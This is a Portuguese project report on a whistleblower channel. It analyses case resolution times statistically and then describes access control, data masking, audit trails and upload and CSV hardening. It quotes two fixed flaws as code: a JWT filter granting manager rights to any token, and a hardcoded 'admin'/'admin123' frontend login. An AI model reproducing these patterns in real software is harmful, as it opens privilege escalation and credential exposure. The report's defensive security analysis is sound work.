Outliers	Regra das cercas , 1,5 vezes o IQR	O manual do NIST define a cerca inferior como $Q1 - 1,5 \times IQR$ e a superior como $Q3 + 1,5 \times IQR$, e classifica como <i>outlier</i> moderado o ponto além dessas cercas (NIST/SEMATECH, 2012a). O critério é preferível ao de desvios padrão porque não pressupõe normalidade, e o tempo de atendimento deste canal é assimétrico, como a própria análise mostra. A regra remonta à análise exploratória de dados de Tukey (1977)
Assimetria	2.º coeficiente de Pearson	Definido pelo NIST como três vezes a diferença entre média e mediana, dividida pelo desvio padrão (NIST/SEMATECH, 2012b). É interpretável: diz o quanto a média foi puxada para longe da mediana, que é exatamente a pergunta de negócio
Dispersão relativa	Coeficiente de variação , razão entre desvio padrão e média (NIST, [s.d.])	Permite comparar a dispersão entre categorias com médias diferentes
Tempo	Dias fracionários	Arredondar para cima transformaria um caso resolvido em sete horas num caso de “um dia”, e a mediana da urgência CRÍTICA perderia justamente a resolução que a torna interessante
“Hoje”	Último evento da base (04/07/2026 03:46)	Uma base congelada no tempo faria a espera média crescer um dia a cada dia. O painel deixaria de bater com o relatório impresso já

Decisão	Escolha	Justificativa e fonte
		na semana seguinte
Recortes pequenos	Omitidos com n menor que 2	Variância amostral com uma única observação é indefinida. Exibir zero ali sugeriria consistência perfeita onde não há informação

4.2.2 Medidas de tendência central e de dispersão

Amostra: as 76 denúncias concluídas.

Medida	Valor	Leitura
Média	5,47 dias	o caso “médio”
Mediana	4,59 dias	metade dos casos fecha antes disso
Moda	2 dias	o desfecho mais frequente
Mínimo e máximo	0,30 e 22,95 dias	de sete horas a três semanas
Variância amostral	16,34	dias ao quadrado, sem significado direto
Desvio padrão	4,04 dias	dispersão em torno da média
Coeficiente de variação	73,92 %	dispersão relativa
Q1, Q3 e IQR	2,37 · 7,91 · 5,54	metade central dos casos
Cerca superior de Tukey	16,23 dias	acima disso, é outlier
Outliers	1 (22,95 dias)	um único caso extremo
Assimetria de Pearson	+0,65	cauda à direita

A média não descreve este canal. A distância entre média (5,47) e mediana (4,59) já sinaliza isso, e a assimetria de +0,65 confirma: um grupo de casos lentos puxa a média para cima, e o caso típico é mais rápido do que a média sugere. O ponto não é novidade em engenharia de sistemas: o capítulo sobre objetivos de nível de serviço do livro de *Site Reliability Engineering* do Google adverte que “averaging request latencies may seem attractive, but obscures an important detail”, e recomenda tratar métricas como distribuições, e não como médias (GOOGLE, 2016).

O coeficiente de variação de 73,92 % é o número mais desconfortável da tabela. A dispersão equivale a quase três quartos da média. Na prática: dois cidadãos que registram a mesma denúncia no mesmo dia podem ter experiências completamente diferentes, um atendido em dois dias e outro em quinze. Do ponto de vista de política pública, **inconsistência de atendimento é um problema tão sério quanto lentidão**, porque destrói a previsibilidade que faz alguém confiar no canal a ponto de usá-lo.

Vale registrar o contraste com o **score de confiabilidade**, que se comporta de maneira oposta: média 63,08, mediana 63,00, assimetria +0,01, coeficiente de variação de 27,70 % e **nenhum outlier**. É uma distribuição praticamente simétrica. A diferença faz sentido, porque o score é calculado por regra determinística sobre o conteúdo da denúncia, enquanto o tempo de atendimento depende de disponibilidade de equipe, complexidade do caso e prioridade. Um é produto de fórmula; o outro, de operação.

4.2.3 Gráfico 1: distribuição do tempo até a conclusão

Histograma dos 76 casos concluídos, em faixas de 2 dias. É o primeiro gráfico do painel, em barras verticais.

Faixa (dias)	Casos	Representação
0 a 2	13	
2 a 4	18	
4 a 6	16	
6 a 8	11	
8 a 10	10	
10 a 12	3	
12 a 14	2	
14 ou mais	3	

A forma é a de uma distribuição assimétrica à direita: pico entre 2 e 4 dias, queda acentuada depois e uma cauda fina que se estende até 22,95 dias. **Sessenta e oito dos 76 casos (89,5 %) fecham em até 10 dias; os 8 restantes se espalham por outros treze dias de calendário.**

Percentis:

p50	p75	p90	p95
4,59	7,91	9,93	12,63

O percentil 90 é o número que interessa a quem promete prazo, e a seção 4.3.1 volta a ele.

4.2.4 Gráfico 2: tempo por tipo de denúncia

Barras horizontais, ordenadas por média crescente.

Tipo	n	Média	Mediana	Desvio	Máximo
Violência	27	2,57	2,43	1,56	5,41
Abuso	13	4,00	4,02	1,98	7,35
Assédio	16	6,97	7,94	2,90	10,55
Discriminação	11	7,48	7,38	3,42	12,90
Outros	9	11,16	9,59	5,53	22,95

A ordem é **monotônica e coincide exatamente com a gravidade percebida**. Violência fecha em 2,57 dias; “outros”, em 11,16, o que é **4,3 vezes mais tempo**. Não é acaso de arredondamento: a diferença aparece também nas medianas e nos máximos. O caso de violência mais lento da base (5,41 dias) ainda é mais rápido que a mediana de assédio (7,94).

Duas observações menos óbvias.

O desvio padrão cresce junto com a média. Violência tem desvio de 1,56; “outros”, de 5,53. Casos graves não são apenas atendidos mais rápido, são atendidos de forma **mais previsível**. Faz sentido operacional: violência tem protocolo definido e rede de encaminhamento pronta, enquanto “outros” exige decidir caso a caso para onde mandar.

“Outros” concentra os problemas. É o tipo mais lento, o de maior dispersão e o dono do único outlier da base (22,95 dias). São 16 denúncias, 12,8 % do volume. Uma categoria residual que absorve tudo o que não se encaixa nas outras quatro vira, na prática, uma **fila sem dono**.

4.2.5 Gráfico 3: tempo por urgência atribuída pela IA

Urgência do VigIA	n	Média	Mediana	Desvio
CRÍTICA	8	3,04	2,97	1,57
ALTA	27	4,35	3,50	2,79
MÉDIA	29	5,72	4,74	4,16
BAIXA	12	8,99	8,28	5,14

Também monotônico. Casos classificados como CRÍTICA fecham quase **três vezes mais rápido** que os de urgência BAIXA.

Este resultado tem peso especial: a urgência não é digitada por ninguém, é **atribuída automaticamente** pelo VigIA a partir do texto do relato. Que o tempo real de atendimento acompanhe essa classificação significa que a leitura automática está capturando algo que a equipe também reconhece como prioritário.

A validação empírica de uma decisão automatizada não é um luxo analítico neste contexto, é um dever legal: a LGPD garante ao titular o direito de solicitar revisão de decisões tomadas unicamente com base em tratamento automatizado e obriga o controlador a informar os critérios utilizados (BRASIL, 2018a, art. 20). Uma classificação que ninguém consegue conferir é uma classificação que não deveria orientar atendimento público.

Um cuidado interpretativo, porém: **a urgência do VigIA e o tipo da denúncia não são independentes**. Violência tende a receber urgência alta. Parte do efeito da seção 4.2.4 e parte do efeito desta seção são o mesmo efeito visto por dois ângulos. Separar as duas contribuições exigiria uma amostra maior e um modelo multivariado, que está fora do escopo desta fase.

4.2.6 Gráfico 4: score contra tempo, um gráfico de dispersão

Correlação linear de Pearson entre score e tempo até a conclusão, sobre os 76 casos concluídos:

r = -0,091, $r^2 = 0,0083$, correlação praticamente nula.

O score explica **menos de 1 %** da variação do tempo de atendimento. Uma denúncia bem documentada não é atendida mais rápido por ser bem documentada.

Vale registrar uma decisão de privacidade sobre este gráfico específico. Um gráfico de dispersão plota **um ponto por caso**, o que é diferente de tudo o mais no relatório, que é agregado. Por isso o ponto carrega apenas duas coordenadas numéricas, score e dias, sem identificador, sem protocolo e sem qualquer campo que permita voltar ao caso. A dispersão mostra a forma da nuvem, e não a lista de quem está nela.

Isso não é necessariamente um defeito da operação. Há uma leitura em que é o comportamento correto: **gravidade deve pesar mais que verificabilidade**. Uma denúncia de violência mal redigida não deve esperar atrás de uma reclamação administrativa impecavelmente documentada, e é exatamente essa a ordem que a fila de prioridade impõe, com a urgência como primeiro critério e o score apenas como desempate.

Mas há também a leitura incômoda: o score é calculado, exibido e **não altera nada** no fluxo real. Se ele não muda decisão nenhuma, é um número decorativo. A recomendação 6 da seção 4.3.1 trata disso.

Duas ressalvas metodológicas que o relatório precisa fazer, e ambas são padrão em estatística aplicada: correlação não implica causalidade, e o coeficiente de Pearson só deve ser usado quando a relação entre as variáveis é linear (PENN STATE, [s.d.]b). Um efeito em U, com casos de score muito baixo e muito alto tratados com rapidez por motivos opostos, apareceria como r próximo de zero.

4.2.7 Gráfico 5: anonimato e verificabilidade

Grupo	n	% do canal	Score médio	Mediana	Desvio
Anônimas	94	75,2 %	59,46	57,5	16,87
Identificadas	31	24,8 %	74,06	71,0	14,62

Duas conclusões, e a segunda depende da primeira.

Primeira: o canal anônimo não é exceção, é o canal. Três em cada quatro denúncias chegam sem identificação. Qualquer decisão de produto que trate o anonimato como caso de borda estará otimizando para a minoria dos usuários.

Segunda: o anonimato tem um custo mensurável. Denúncias identificadas pontuam 14,6 pontos a mais, em média. Faz sentido, porque quem se identifica costuma fornecer contato, aceita ser questionado e detalha mais. O score reflete verificabilidade, e verificabilidade é justamente o que o anonimato reduz.

O erro seria concluir que se deve desestimular o anonimato, e os dados externos explicam por quê. O IPEA estima que apenas 8,5 % dos casos de estupro no Brasil chegam ao conhecimento da polícia (IPEA, 2023), e o regime europeu de proteção a denunciante reconhece que o receio de retaliação é o que desencoraja a denúncia (UNIÃO EUROPEIA, 2019). Sem anonimato, a maior parte dessas 94 denúncias simplesmente não existiria, e uma denúncia de score 59 que existe vale infinitamente mais que uma de score 74 que nunca foi registrada.

A conclusão correta é outra: **é preciso recuperar verificabilidade sem exigir identificação**, que é exatamente o que o elo de mão dupla do anonimato graduado faz. A autoridade pergunta, a vítima responde, e ninguém precisa saber quem ela é.

4.2.8 Gráfico 6: a espera do backlog, o achado principal

Tudo até aqui olhou para casos que **terminaram**. As seções 4.2.4 e 4.2.5 mostram uma operação que funciona: os graves saem primeiro, os urgentes saem antes.

Agora os 49 casos que **ainda não terminaram**, com a espera contada até 04/07/2026:

Medida	Valor
Casos em aberto	49
Espera média	69,90 dias
Mediana	74,55 dias
Desvio padrão	34,02 dias
Menor e maior espera	6,29 e 123,80 dias

E, quebrado pela urgência que o VigilA atribuiu:

Urgência	Em aberto	Espera média	Maior espera
CRÍTICA	5	78,84 dias	123,55

Urgência	Em aberto	Espera média	Maior espera
ALTA	24	62,60 dias	123,80
MÉDIA	12	75,67 dias	110,17
BAIXA	8	77,55 dias	123,04

A ordem desapareceu. Entre os casos que ainda esperam, a urgência CRÍTICA é a que mais espera: mais do que ALTA, mais do que MÉDIA, mais do que BAIXA. Há cinco denúncias classificadas como críticas paradas há 78,84 dias em média, e uma delas há mais de quatro meses.

Isto é **viés de sobrevivência**, e é o achado mais importante desta análise. O conceito tem uma origem célebre: durante a Segunda Guerra, ao analisar onde blindar os aviões, o estatístico Abraham Wald observou que os aviões examinados eram os que voltavam, e que “what you are forgetting is that the aircraft that are most damaged don’t return” (CASSELMAN, 2016). O reforço deveria ir onde os sobreviventes **não** tinham furos.

A analogia é exata. Ao medir apenas o que foi concluído, mede-se justamente o subconjunto de casos que **não ficaram presos**. Os casos travados nunca entram na conta do tempo de resposta, não porque foram rápidos, mas porque nunca terminaram. É a mesma família de viés que a epidemiologia formalizou como viés de tempo imortal, em que o período de acompanhamento inclui um intervalo no qual o participante não podia sofrer o desfecho (LEE; NUNAN, 2020). Um painel que exibisse só a média de 5,47 dias estaria descrevendo com precisão uma realidade que exclui os 49 casos onde o sistema está falhando pior.

É por isso que o painel traz o gráfico de espera do backlog **ao lado** do gráfico de tempo de conclusão, e não em outra tela. Os dois juntos contam a história; qualquer um deles sozinho conta metade dela.

E é por isso que a fila de prioridade da seção 4.1.2 tem antiguidade como terceiro critério. Uma fila ordenada por urgência e por antiguidade é precisamente o mecanismo de envelhecimento que impediria uma denúncia crítica de envelhecer 123 dias sem que ninguém percebesse.

4.2.9 Distribuições do canal

Status		Tipo		Urgência		UF	
Concluída	76 (60,8 %)	Violência	41 (32,8 %)	ALTA	51 (40,8 %)	SP	38 (30,4 %)
Recebida	28 (22,4 %)	Assédio	27 (21,6 %)	MÉDIA	41 (32,8 %)	RJ	21 (16,8 %)
Encaminha da	12 (9,6 %)	Abuso	22 (17,6 %)	BAIXA	20 (16,0 %)	BA	13 (10,4 %)
Em análise	9 (7,2 %)	Discriminação	19 (15,2 %)	CRÍTICA	13 (10,4 %)	PE e MG	12 e 12
		Outros	16 (12,8 %)			RS, CE, PR	11, 10, 8

Três leituras.

Metade do canal é classificada como alta ou crítica (51,2 %). Uma escala de urgência em que metade dos casos ocupa os dois níveis superiores perde poder de discriminação: se quase tudo é urgente, nada é. Vale calibrar os limiares do VigIA.

Concentração geográfica. São Paulo e Rio somam 47,2 % das denúncias. A distribuição encontra paralelo no canal federal: no balanço do Disque 100 relativo a 2024, São Paulo, Rio de Janeiro e Minas Gerais aparecem como as unidades federativas com maior volume de denúncias (MDHC, 2025). A alocação da equipe deveria seguir essa concentração, e não ser uniforme por estado.

Vinte e oito denúncias ainda em “recebida”, que é o primeiro status, o de quem chegou e ninguém abriu. São 22,4 % do canal e a maior parte do backlog analisado em 4.2.8.

4.2.10 Como o relatório é montado, do banco à tela

O caminho completo do número, para que qualquer valor deste documento possa ser rastreado até sua origem:

1. `DenunciaRepository` carrega os casos, com filtros resolvidos no banco.
2. `RelatorioService` calcula o tempo de cada caso a partir da linha do tempo persistida, separa concluídos de abertos e monta os recortes por tipo, urgência, faixa, prazo e grupo de anonimato.
3. `EstatisticaService` recebe listas de números e devolve `Descritiva` e `Correlacao`, sem saber o que os números significam.
4. `RelatorioAnaliticoResponse` transporta o resultado, com registros aninhados para cada recorte.
5. `GET /api/stats/analitico` entrega o JSON.
6. `estatistica.js` desenha os seis gráficos com Chart.js e **gera a leitura de cada um a partir dos próprios números recebidos**, e não de texto fixo.

O passo 6 tem uma consequência prática: se a base mudar, a leitura muda junto. Um texto interpretativo escrito à mão no HTML continuaria afirmando a conclusão antiga depois que os dados deixassem de sustentá-la.

O ponto de referência temporal também vem do passo 2: `referencia()` devolve o maior instante presente na base, e não o relógio do servidor. É o que garante que o painel e este documento impresso digam a mesma coisa daqui a um mês.

4.3 Requisito (c): interpretações e sugestões de negócio

4.3.1 As oito recomendações

Cada uma está amarrada a um número desta análise. Nenhuma delas é uma boa prática genérica.

1. Definir o SLA pelo percentil 90, não pela média.

Prometer “5 dias” com base na média de 5,47 seria uma promessa quebrada em quase metade dos casos: apenas **52,63 %** fecham em até 5 dias. Um compromisso público de **10 dias corridos** é cumprido em **89,47 %** dos casos.

Prazo	Casos que cumprem	Percentual
2 dias	13	17,11 %
3 dias	25	32,89 %
5 dias	40	52,63 %
7 dias	52	68,42 %
10 dias	68	89,47 %

A recomendação tem duas âncoras externas. A primeira é técnica: a orientação consolidada de engenharia de confiabilidade é definir objetivos por percentis altos, porque um indicador em que “90% of users’ requests return within 100 ms, but the remaining 10% take 10 seconds” deixa muita gente insatisfeita mesmo com a média boa (GOOGLE, 2018). A segunda é legal: a Lei 13.460/2017 determina que a ouvidoria encaminhe a decisão administrativa final ao usuário “observado o prazo de trinta dias, prorrogável de forma justificada uma única vez, por igual período” (BRASIL, 2017, art. 16). O prazo proposto aqui, de 10

dias, é interno e mais exigente que o legal, e serve para que o limite de 30 dias nunca seja alcançado por inércia.

Que esse risco é real, mostra o próprio setor público: em avaliação da CGU referente ao período de novembro de 2022 a outubro de 2023, a Ouvidoria do INSS recebeu 271.696 manifestações e respondeu 268.139, com 23 % delas fora do prazo legal (CGU, 2025). Um SLA descreve o que o cidadão de fato encontra, não o caso médio que quase ninguém vive.

2. Diferenciar a meta interna por urgência.

O canal já entrega tempos diferentes por urgência; a meta deveria reconhecer isso em vez de tratar todos os casos como iguais. Sugestão calibrada pelo que já se pratica: **CRÍTICA em 48 horas** (mediana atual 2,97 dias), **ALTA em 5 dias** (atual 3,50), **MÉDIA em 8 dias**, **BAIXA em 15 dias**. São metas atingíveis, mas que exigem manter o desempenho atual. Não é meta de gaveta.

3. Criar alerta de envelhecimento no backlog. É a recomendação mais urgente.

Cinco casos CRÍTICA abertos há 78,84 dias em média não é um problema de fila, é um problema de **visibilidade**: ninguém está olhando. Regra proposta: caso de urgência CRÍTICA aberto há mais de 7 dias, ou ALTA há mais de 15, gera alerta ao gestor responsável e sobe ao topo do painel. A fila de prioridade já sabe ordenar, e o mecanismo de envelhecimento descrito em 4.1.2 é exatamente a solução que a literatura de escalonamento prescreve para inanição (WANG, 2016). Falta o gatilho que avisa.

4. Subdividir a categoria “Outros”.

São 11,16 dias de média, 4,3 vezes o tempo de violência, o maior desvio da base (5,53) e o único outlier (22,95 dias). Uma categoria residual sem subtipo prejudica duas coisas ao mesmo tempo: o VigIA tem menos sinal para classificar, e o caso não encontra um destino natural de encaminhamento. Proposta: analisar os relatos dos 16 casos e extrair de dois a quatro subtipos concretos, promovendo-os a categorias próprias. O canal federal oferece precedente de granularidade: o Disque 100 publica recortes temáticos específicos, como o de intolerância religiosa, que somou 2.472 denúncias em 2024 (AGÊNCIA BRASIL, 2025).

5. Investir no elo de mão dupla como recuperação de verificabilidade.

O anonimato custa 14,6 pontos de score, e 75,2 % do canal é anônimo. Em vez de tratar isso como limitação aceita, tratar como problema a atacar: o elo de mão dupla permite que a autoridade faça perguntas e a vítima responda sem se identificar. **Métrica proposta**: score médio das denúncias anônimas com elo ativo contra as sem elo. Se o elo estiver funcionando, a diferença de 14,6 pontos deve encolher.

6. Decidir o que fazer com o score.

Com r igual a $-0,091$, o score não influencia o tempo de atendimento. São dois caminhos, e escolher é melhor do que deixar como está:

- **Assumir que é assim mesmo.** Gravidade pesa mais que verificabilidade, e o score serve para orientar o tratamento do caso, não sua *posição na fila*. Neste caminho, o painel deveria deixar isso explícito, para não sugerir influência que não existe.
- **Passar a usá-lo.** Score alto significa caso mais fácil de resolver, e priorizá-lo aumentaria a vazão. Neste caminho, medir de novo em 90 dias e verificar se r se afasta de zero.

7. Alocar equipe pela concentração geográfica.

47,2 % do volume vem de São Paulo e Rio de Janeiro. Distribuição uniforme de atendentes por estado significa fila em SP e ociosidade em PR.

8. Nunca exibir média sozinha.

Com coeficiente de variação de 73,92 %, a média isolada é enganosa. O painel de gestão deve sempre mostrar **mediana e percentil 90 ao lado da média**, o que já está implementado nos cartões do relatório. É uma decisão de produto que decorre diretamente do dado e da recomendação de tratar métricas como distribuições (GOOGLE, 2016): quando a dispersão é grande, exibir só a média é escolher informar mal.

4.3.2 Resumo executivo da análise

O canal atende bem os casos que consegue fechar: **mediana de 4,59 dias**, com a triagem por gravidade funcionando de forma consistente (violência em 2,57 dias contra 11,16 de “outros”) e a classificação automática do VigIA validada empiricamente pelo tempo real de atendimento.

O problema não está no que ele conclui, está no que ele **não** conclui. Há **49 casos abertos com espera média de 69,90 dias**, e entre eles a urgência CRÍTICA é a que mais espera, com 78,84 dias e um caso parado há mais de quatro meses. A média de 5,47 dias descreve com precisão uma realidade que exclui exatamente onde o sistema falha.

A prioridade um não é acelerar o atendimento. É **enxergar o backlog**: alerta de envelhecimento por urgência, e SLA definido pelo percentil 90 em vez da média.

PARTE 5: Governança e Auditoria

O que o enunciado pede

(a) “Apresente como o sistema controla o acesso, protege dados sensíveis e registra ações relevantes do sistema.” (b) “Elabore uma tabela indicando os perfis de usuário, suas permissões e quais funcionalidades acessam dados pessoais.” (c) “Defina quais operações precisam gerar trilhas de auditoria, como alteração de status, consulta sensível, exportação de dados ou exclusão de registros.” (d) “Explique a diferença entre logs técnicos e registros de auditoria no contexto do projeto.” (e) “Descreva quais medidas foram adotadas para reduzir riscos na exposição de dados por API.”

Cada um dos cinco itens tem uma seção própria: 5.2 responde ao item (a), 5.3 ao (b), 5.4 ao (c), 5.5 ao (d) e 5.6 ao (e). A seção 5.1 estabelece o princípio que organiza todas elas, a 5.7 registra o fundamento legal e a 5.8 declara o que ainda não está resolvido.

As quatro operações citadas nominalmente pelo enunciado (alteração de status, consulta sensível, exportação de dados e exclusão de registros) estão todas na trilha, e a seção 5.4.1 as identifica pelas ações `ALTERACAO_STATUS`, `CONSULTA_SENSIVEL`, `EXPORTACAO` e `EXCLUSAO`, ao lado das outras sete.

5.1 O princípio que organiza tudo

Um canal de denúncias guarda a informação mais perigosa que um cidadão pode entregar ao Estado: quem ele é e do que está acusando alguém. Vazar isso não gera prejuízo financeiro, gera retaliação. O ponto não é retórico: o regime europeu de proteção a denunciante nasceu do reconhecimento de que o receio de represália desencoraja a denúncia (UNIÃO EUROPEIA, 2019), e a Transparência Internacional documenta que a retaliação persiste mesmo onde há proteção legal, na forma de demissão, rebaixamento, assédio e ataque à reputação (TRANSPARENCY INTERNATIONAL, 2026).

O custo de errar aqui também é mensurável em outra moeda. O relatório anual da IBM sobre o custo de violações de dados aponta média global próxima de **USD 5 milhões** por incidente e tempo médio de **247 dias** para identificar e conter uma violação (IBM, 2026). Num canal de denúncias, esse tempo é a diferença entre um vazamento contido e um endereço de vítima circulando por oito meses.

Por isso o desenho de acesso deste sistema parte de uma pergunta invertida. Em vez de “o que este perfil precisa poder fazer?”, a pergunta é “qual é o mínimo que ele precisa ver para fazer o trabalho dele?”. É o princípio da necessidade, que a LGPD define como a “limitação do tratamento ao mínimo necessário para a realização de suas finalidades, com abrangência dos dados pertinentes, proporcionais e não excessivos” (BRASIL, 2018a, art. 6.º, III), e que aqui tem uma consequência arquitetural direta: **o mascaramento acontece no servidor, não na interface.**

A diferença não é acadêmica. Esconder um campo com CSS deixa o dado no JSON que o navegador já recebeu, e qualquer pessoa com o console aberto o lê. Quando o servidor não envia, não há o que revelar.

5.2 Requisito (a): controle de acesso, proteção do dado e registro

5.2.1 Controle de acesso

Cinco perfis. O enum `PerfilUsuario` carrega as duas capacidades que definem cada um:

```
public enum PerfilUsuario {
    CIDADAO (false, false), // registra e consulta o proprio protocolo
    ATENDENTE (false, false), // trata os casos; NAO ve identificacao
    GESTOR (true, false), // coordena; ve identificacao, NAO ve auditoria
    AUDITOR (false, true), // fiscaliza o uso; NAO le o relato
    ADMIN (true, true); // acesso pleno, integralmente auditado
}
```

O controle de acesso é a primeira medida técnica recomendada pela ANPD no guia de segurança da informação, que o define como a medida “para garantir que os dados sejam acessados somente por pessoas autorizadas” (ANPD, 2021). A restrição é aplicada em **três camadas**, e o front-end não é nenhuma delas.

Por rota, no `SecurityConfig`:

```
.requestMatchers("/api/auditoria/**")
    .hasAnyRole(PerfilUsuario.AUDITOR.name(), PerfilUsuario.ADMIN.name())
.requestMatchers(HttpMethod.DELETE, "/api/denuncias/**")
    .hasAnyRole(PerfilUsuario.GESTOR.name(), PerfilUsuario.ADMIN.name())
.requestMatchers("/api/exportacao/**")
    .hasAnyRole(PerfilUsuario.ATENDENTE.name(), PerfilUsuario.GESTOR.name(),
        PerfilUsuario.ADMIN.name())
.anyRequest().authenticated()
```

Por campo, no mapeamento da resposta. Um ATENDENTE recebe “[endereço protegido]” em vez do endereço real, porque o servidor substitui o valor antes de serializar.

Por perfil declarado no token. Aqui estava a falha mais grave encontrada nesta fase. O `JwtAuthFilter` concedia `ROLE_GESTOR` a **qualquer token válido**, ignorando o perfil que o próprio token declarava. Na prática, autenticar como atendente dava poderes de gestor, e todo o RBAC descrito na documentação era decorativo. É a descrição literal do risco **API5:2023 Broken Function Level Authorization** (OWASP, 2023). Corrigido:

```
String perfilNoToken = jwtService.extrairPerfil(token);
if (perfilNoToken != null) {
    PerfilUsuario perfil = PerfilUsuario.de(perfilNoToken);
    var auth = new UsernamePasswordAuthenticationToken(email, null,
        List.of(new SimpleGrantedAuthority("ROLE_" + perfil.name())));
}
```

O método `de()` cai no perfil de **menor** privilégio quando o valor é desconhecido: erra para o lado de negar acesso, nunca para o de conceder. Dois testes fixam esse comportamento. A validação do token segue as boas práticas atuais de JWT, que exigem verificação explícita do algoritmo de assinatura e proíbem aceitar `none` por omissão (IETF, 2020).

E a segunda falha, encontrada na verificação final: **a tela de login não falava com a API**. Era uma comparação de texto dentro do JavaScript que o cidadão baixa:

```
if (user === 'admin' && pass === 'admin123') navigate('dashboard');
```

O sistema afirmava usar Spring Security, JWT e BCrypt, e usava em todo o resto, mas a porta da frente era uma credencial escrita no código-fonte público. Hoje a senha vai ao servidor, é conferida contra o hash BCrypt, e **o perfil aplicado é o que o token assinado declara**, não o que o usuário digitou. O usuário `admin` da comparação fixa deixou de existir: as contas são criadas pelo `CommandLineRunner` do `SecurityConfig`, identificadas por e-mail e com a senha gravada em hash.

As duas falhas têm a mesma natureza e vale nomeá-la: **cada camada estava correta isoladamente**. O `SecurityConfig` declarava as regras certas, o `JwtService` assinava o perfil certo no token, os testes de cada peça passavam. O defeito morava na costura entre elas, que é exatamente onde teste unitário não olha.

A demonstração de que a restrição é real. O painel mantém a aba de Trilha de Auditoria **visível** para perfis que não podem acessá-la. Não é descuido. Esconder o botão pareceria segurança sem sê-la, porque o botão escondido continuaria alcançável pelo console. Ao clicar, o perfil ATENDENTE recebe:

| Acesso negado. Esta tentativa foi registrada na propria trilha de auditoria.

A recusa é a demonstração. E ela própria vira registro, que um AUDITOR encontra depois. Verificado contra a aplicação em execução: `GET /api/auditoria` devolve **403** para ATENDENTE e para GESTOR, e **200** para AUDITOR e ADMIN.

5.2.2 Proteção do dado sensível

Medida	Onde	O que resolve	Fonte que a sustenta
Senha em BCrypt	<code>SecurityConfig</code>	O texto puro nunca é persistido. O CHECK do banco exige 55 caracteres ou mais no campo	OWASP, [s.d.]a; PROVOS; MAZIÈRES, 1999
Anonimato estrutural	<code>CHECK ck_denuncia_anonimato</code>	Denúncia anônima não pode ter denunciante vinculado, e a regra é imposta pelo banco	BRASIL, 2018c, art. 23
Mascaramento por perfil	<code>MascaraUtil</code> e <code>DenunciaMapper</code>	O endereço da ocorrência é reduzido no servidor , conforme quem consulta	BRASIL, 2018a, art. 6.º, III
DTO por audiência	3 DTOs de saída	A listagem não trafega relato nem endereço	OWASP, 2023 (API3)
Exclusão lógica com anonimização	<code>DenunciaService.excluir</code>	Detalhada abaixo	BRASIL, 2018a, art. 18, VI
k-anonimato no mapa	<code>mapa-gestor.js</code>	Município com menos de 3 denúncias fica em cinza	SWEENEY, 2002; ROCHER et al., 2019
CORS por lista de origens	<code>SecurityConfig</code>	Nenhum site de terceiros dispara requisição autenticada	OWASP, [s.d.]d
Limite por origem	<code>RateLimitFilter</code>	5 denúncias por minuto e 20 logins por minuto por IP, com 429	OWASP, 2023 (API4)
Contexto da IA sem relato	<code>VigiaService</code>	A pergunta livre do gestor não envia relatos ao Gemini	BRASIL, 2018a, art. 6.º, III
Tipo de arquivo pela assinatura	<code>AssinaturaArquivo</code>	O número mágico está no conteúdo, e não no rótulo escolhido por quem envia	OWASP, [s.d.]c
Nome de arquivo gerado	<code>EvidenciaService</code>	O nome do usuário nunca chega ao disco	OWASP, [s.d.]c
Binário fora da pasta pública	<code>app.evidencias.dir</code>	Arquivo no diretório servido é arquivo que se baixa adivinhando a URL	OWASP, [s.d.]c
Hash conferido na leitura	<code>EvidenciaService.contendo</code>	Arquivo trocado no disco tem o download recusado	OWASP, [s.d.]b

Medida	Onde	O que resolve	Fonte que a sustenta
CSV sem fórmula executável	ExportacaoService.cam po	Valor iniciado por =, +, -, @ ou tabulação é prefixado com apóstrofo	OWASP, [s.d.]f

A exclusão que não apaga.

```
public void excluir(Long id, String motivo) {
    if (motivo == null || motivo.isBlank())
        throw new RegraDeNegocioException("A exclusao exige um motivo registrado");
    d.setExcluida(true);
    d.setMotivoExclusao(motivo);
    d.setExcluidaEm(LocalDate.now());
    d.setDescricao(null); // o conteudo sensivel some
    d.setEndereco(null);
    d.setResumoIa(null);
    repo.save(d);
}
```

Aqui há uma tensão real entre dois deveres legítimos. A LGPD dá ao titular o direito de eliminação dos dados tratados com consentimento (BRASIL, 2018a, art. 18, VI). A administração pública tem dever de **rastreabilidade**, porque um órgão não pode fazer registros desaparecerem sem deixar vestígio, sob pena de a exclusão virar ferramenta de encobrimento. O Decreto 10.153/2019 mostra como o Estado brasileiro resolve o conflito no caso de denúncias: os elementos de identificação são preservados desde o recebimento, a restrição de acesso a eles é mantida por cem anos, e a ouvidoria **pseudonimiza** a denúncia antes de encaminhá-la (BRASIL, 2019, art. 6.º). Preserva-se o registro e destrói-se a ligação com a pessoa.

A solução adotada aqui segue a mesma lógica: o **conteúdo sensível é destruído** (relato, endereço e resumo da IA passam a **NULL**), enquanto **a existência do registro permanece**, com motivo e data. O que resta é uma carcaça auditável: sabe-se que houve um caso, quando foi excluído e por quê, sem que reste nada do que a vítima escreveu.

E a restrição é do banco, não só da aplicação:

```
CONSTRAINT ck_denuncia_exclusao CHECK (
    excluida = 0
    OR (motivo_exclusao IS NOT NULL AND excluida_em IS NOT NULL
        AND descricao IS NULL AND endereco IS NULL)
)
```

Nenhum caminho, nem um **UPDATE** manual no SQL Developer, consegue marcar uma denúncia como excluída deixando o relato para trás.

O arquivo enviado pelo cidadão. Upload é a superfície mais atacada de qualquer sistema público, porque é o único ponto em que um estranho escreve **conteúdo binário** no servidor. Quatro decisões governam esse caminho, e as quatro são exatamente as que a OWASP prescreve (OWASP, [s.d.].c).

O tipo vem do conteúdo, não do rótulo. Extensão e cabeçalho **Content-Type** são escolhidos por quem envia. Um executável renomeado para **foto.jpg** e declarado como **image/jpeg** passa por qualquer validação baseada em nome. A recomendação é validar a assinatura do arquivo contra o formato esperado, e é isso que o código faz:

```
if (comeca(conteudo, 0, PNG)) return "image/png";
if (comeca(conteudo, 0, JPEG)) return "image/jpeg";
// WebP e um contentor RIFF: "RIFF" nos bytes 0-3 e "WEBP" nos 8-11
if (comeca(conteudo, 0, RIFF) && comeca(conteudo, 8, WEBP)) return "image/webp";
```

Vale ser honesto sobre o alcance: **isto não é antivírus**. Um JPEG legítimo pode carregar carga maliciosa dirigida a um leitor vulnerável, e a assinatura continuará sendo de JPEG. O que a verificação garante é mais

modesto e ainda assim essencial: o que foi aceito como imagem é, de fato, uma imagem, e não um binário esperando ser executado.

